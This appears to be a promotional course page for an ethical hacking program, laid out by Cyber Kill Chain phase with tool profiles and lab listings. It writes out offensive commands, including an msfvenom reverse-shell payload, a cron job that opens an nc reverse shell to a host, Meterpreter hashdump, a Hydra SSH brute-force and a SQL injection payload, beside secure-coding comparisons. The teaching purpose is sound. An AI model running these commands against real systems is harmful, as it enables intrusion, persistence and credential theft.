Mission Briefing [01 // OVERVIEW]

Welcome to the Red Team. This operation takes you into the depths of network security, web application vulnerability research, and advanced cyber espionage. You will learn to breach fortified systems, analyze malware, and defend against state-sponsored attacks.

This is not just a course; it is a simulation of real-world cyber warfare. You will execute live attacks in our controlled Dark Web Lab and write industry-standard security audit reports.

What will you learn?

Cybersecurity fundamentals and cyber threat types
Network security and traffic analysis
Vulnerability discovery and risk assessment
Using ethical hacking tools like Kali Linux
Web and mobile application penetration testing
Encryption and sensitive data protection
Writing professional security reports
Preparation for global cybersecurity certifications

Cyber Kill Chain & Attack Methodology [02 // METHODOLOGY]

Master the 7 phases of Lockheed Martin Cyber Kill Chain & MITRE ATT&CK framework used by global security teams.

PHASE 01

Reconnaissance

PHASE 02

Weaponization

PHASE 03

Delivery

PHASE 04

Exploitation

PHASE 05

Installation

PHASE 06

Command & Control

PHASE 07

Actions on Obj

Phase 1: Passive & Active Reconnaissance

Gather intelligence on the target system using OSINT, DNS enumeration, Shodan queries, Google Dorking, and Nmap port scanning.

# Primary Recon Command:
nmap -sS -sV -O -p- --script=vuln 10.10.10.100

Phase 2: Weaponization

Combine software exploits with custom payloads (Metasploit MSFVenom) tailored to bypass target endpoint protection.

# MSFVenom Reverse Shell Generation:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f elf > payload.elf

Phase 3: Delivery

Transmit the weaponized payload to target via Spear Phishing, HTTP drive-by downloads, or network services.

# Local HTTP Delivery Server:
python3 -m http.server 8080

Phase 4: Exploitation

Trigger the vulnerability code execution on the target operating system, web app, or network service.

# Metasploit Handler Listener:
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; exploit"

Phase 5: Installation & Persistence

Establish persistent access via cron jobs, Windows registry keys, SUID binary backdoors, or rootkits.

# Persistence via Cron Job:
(crontab -l 2>/dev/null; echo "*/5 * * * * nc -e /bin/bash 10.10.14.2 4444") | crontab -

Phase 6: Command & Control (C2)

Encrypted communication channel with target machine using Cobalt Strike, Empire, or Meterpreter C2 beaconing.

# Meterpreter C2 Command:
meterpreter > sysinfo && hashdump

Phase 7: Actions on Objectives & Reporting

Data extraction, Privilege Escalation to Root, evidence collection, and drafting executive penetration test report.

# Root Privilege Escalation Check:
sudo -l && find / -perm -4000 2>/dev/null

Ethical Hacking Arsenal & Tools [03 // ARSENAL]

Get hands-on experience with the exact software suites used by professional penetration testers and Red Teams worldwide.

Kali Linux Rolling Release

OS / Pentest Suite

The industry standard debian-derived Linux distribution designed for digital forensics and penetration testing with over 600 pre-installed security tools.

# Update & spin up Kali Rolling isolated Docker container
sudo apt update && sudo apt install -y kali-linux-headless

Nmap Network Scanner

Reconnaissance

Free and open-source network scanner used to discover hosts, open ports, OS fingerprinting, and vulnerabilities across subnets.

# Aggressive TCP SYN Stealth scan with NSE vuln scripts
nmap -sS -p- -sV -O --script=vuln 10.10.10.0/24

Wireshark Network Analyzer

Traffic Analysis

De-facto packet analyzer for deep inspection of hundreds of protocols, live capture, offline analysis, and detecting cleartext credentials.

# Display Filter for HTTP POST requests containing passwords
http.request.method == "POST" && frame contains "password"

Metasploit Framework

Exploitation

World's most used penetration testing framework providing information about security vulnerabilities, exploit execution, and meterpreter shells.

msf6 > use exploit/multi/handler
msf6 exploit(handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(handler) > exploit -j

Burp Suite Professional

Web Security

Integrated platform for performing web application security testing, HTTP request interception, repeater modification, and automated scanner.

Intercepting POST /api/v1/auth HTTP/1.1
Host: target.local | Payload: {"username":"admin' OR '1'='1"}

THC Hydra

Cracking

Parallelized login cracker supporting multiple protocols including SSH, FTP, HTTP-POST-FORM, SMB, and RDP.

hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.50 -t 16

Interactive Code Security Inspector [04 // CODE REVIEWS]

Learn to audit source code by comparing vulnerable patterns with hardened production defenses.

SQL Injection (SQLi)

Stored XSS

Password Hashing

 Vulnerable Code (Concatenated String)
// UNSECURE: String concatenation allows SQL injection
const query = "SELECT * FROM users WHERE user = '" + req.body.user + "' AND pass = '" + req.body.pass + "'";
db.query(query, (err, result) => { ... });
 Secure Code (Parameterized Prepared Statements)
// SECURE: Uses parameterized query placeholders
const query = "SELECT * FROM users WHERE user = ? AND pass = ?";
db.query(query, [req.body.user, req.body.pass], (err, result) => { ... });

 Vulnerable Code (Raw HTML Output)
// UNSECURE: Direct insertion of raw user input
document.getElementById("comments").innerHTML = userComment;
 Secure Code (Sanitized & Encoded Output)
// SECURE: Escapes user input to text node
document.getElementById("comments").textContent = userComment;

 Vulnerable Code (MD5 Unsalted Hash)
// UNSECURE: Fast MD5 allows rainbow table cracking
const hash = crypto.createHash('md5').update(password).digest('hex');
 Secure Code (Argon2id / bcrypt salted)
// SECURE: Slow salted hashing with high cost factor
const hash = await bcrypt.hash(password, 12);

Course Content

01

Introduction to Cybersecurity & Ethics

8 Lessons • 3 Hours Foundations

1.1 Cybersecurity Overview & Threat Landscape

25 min
1.2 Legal Frameworks, Scope & Rules of Engagement

20 min
1.3 Lab Setup: VirtualBox & Virtual Machine Management

Hands-on Lab
1.4 Ethics & Threat Intelligence Quiz

Quiz

02

Network Basics & Protocols

10 Lessons • 4 Hours Networking

2.1 OSI Model & TCP/IP Stack In-Depth

30 min
2.2 DNS, DHCP, ARP, and ICMP Analysis

35 min
2.3 Wireshark Packet Sniffing & Stream Following

Hands-on Lab

03

Kali Linux & Hacking Tools

15 Lessons • 6 Hours OS & CLI

3.1 Master Linux CLI, Permissions & Process Control

40 min
3.2 Bash Scripting for Automated Pentesting Tasks

Hands-on Lab
3.3 Tor, Proxies & Anonymity Engineering

30 min

04

Information Gathering & Recon

12 Lessons • 5 Hours Recon

4.1 Passive Reconnaissance & OSINT Framework

35 min
4.2 Active Reconnaissance with Nmap & Masscan

Hands-on Lab

05

Network Penetration Testing

18 Lessons • 7 Hours Exploitation

5.1 Vulnerability Assessment with Nessus & OpenVAS

45 min
5.2 Metasploit Exploitation & Meterpreter Payload Creation

Hands-on Lab

06

Web App Penetration Testing

20 Lessons • 8 Hours OWASP Top 10

6.1 SQL Injection: Manual & SQLMap Exploitation

Hands-on Lab
6.2 Cross-Site Scripting (XSS): Stored, Reflected & DOM

Hands-on Lab

07

Cryptography & Data Security

10 Lessons • 4 Hours Encryption

7.1 Symmetric vs Asymmetric Encryption (AES, RSA, ECC)

30 min

08

Reporting & Final Capstone Project

5 Lessons • 3 Hours Certification

8.1 Professional Executive & Technical Reporting

30 min
8.2 Final Live Capstone Attack Simulation & Certificate

Capstone CTF

Interactive Cyber Labs & CTF Arenas [05 // HANDS-ON]

Gain confidence by hacking real vulnerable environments inside your browser with safe, sandboxed targets.

SQL Injection Lab

Practice authentication bypass, UNION attacks, and error-based data extraction on a vulnerable bank portal.

Launch Lab

XSS Security Sandbox

Craft malicious JavaScript payloads to steal session cookies and bypass Web Application Firewalls (WAF).

Launch CTF

Wireshark PCAP Lab

Analyze captured network traffic to reconstruct stolen credentials and track backdoor TCP connections.

Launch Lab

Linux PrivEsc Arena

Exploit misconfigured SUID binaries, cron jobs, and sudo permissions to escalate from low-privilege user to Root.

Launch Arena

Global Certification Alignment [06 // CERTS]

Curriculum mapped directly against leading global security certification objectives.

CEH v12

EC-Council Aligned

OSCP

OffSec Practical Lab Prep

CompTIA Sec+

SY0-701 Exam Covered

eJPT

eLearnSecurity Pentest

Career Pathways & Certifications [07 // CAREERS]

01

Junior SOC Analyst / Security Technician

Avg Salary: $70,000 - $90,000 / year

Monitor security event logs (SIEM), respond to alerts, and perform initial incident triage. Aligned with CompTIA Security+.

02

Penetration Tester / Ethical Hacker

Avg Salary: $95,000 - $130,000 / year

Perform authorized security assessments on web apps, networks, and cloud infrastructure. Aligned with CEH & eJPT.

03

Red Team Specialist / Security Consultant

Avg Salary: $135,000 - $180,000+ / year

Simulate advanced persistent threats (APT), custom exploit development, and physical/social engineering. Aligned with OSCP.

Instructor [08 // INSTRUCTORS]

Ria Academy Red Team Instructors

CISSP • OSCP • CEH Certified Experts

A specialized team of cybersecurity experts with over 10 years of experience in system protection, penetration testing, and incident response. They have audited enterprise networks globally and bring you raw, unvarnished industry expertise in this course.

Student Reviews & Success Stories [09 // REVIEWS]

★★★★★

"The hands-on labs made all the difference. I passed my CEH v12 exam on the first attempt thanks to the Metasploit and Nmap modules!"

Sarah K.

Junior SOC Analyst

★★★★★

"Best cybersecurity training in Arabic & English. The Web Pen-testing section alone is worth ten times the price."

Karim M.

Security Researcher

Frequently Asked Questions [10 // FAQ]

Do I need prior programming experience?

No, the course is designed to start from scratch. However, basic knowledge of computers and networks is helpful.

What tools are required for the course?

You will need a computer with average specs and VirtualBox software to run virtual machines. We will provide all necessary tools and files for free.

Is this course legal and ethical?

Yes, the course focuses solely on ethical hacking, and all exercises are performed in isolated and licensed environments. We emphasize the importance of adhering to laws and professional ethics.

Will I get a certificate?

Yes, you will receive a certified certificate of completion from Ria Academy after successfully completing all modules and the final project.

Programming

Cybersecurity

Design

Cybersecurity & Ethical Hacking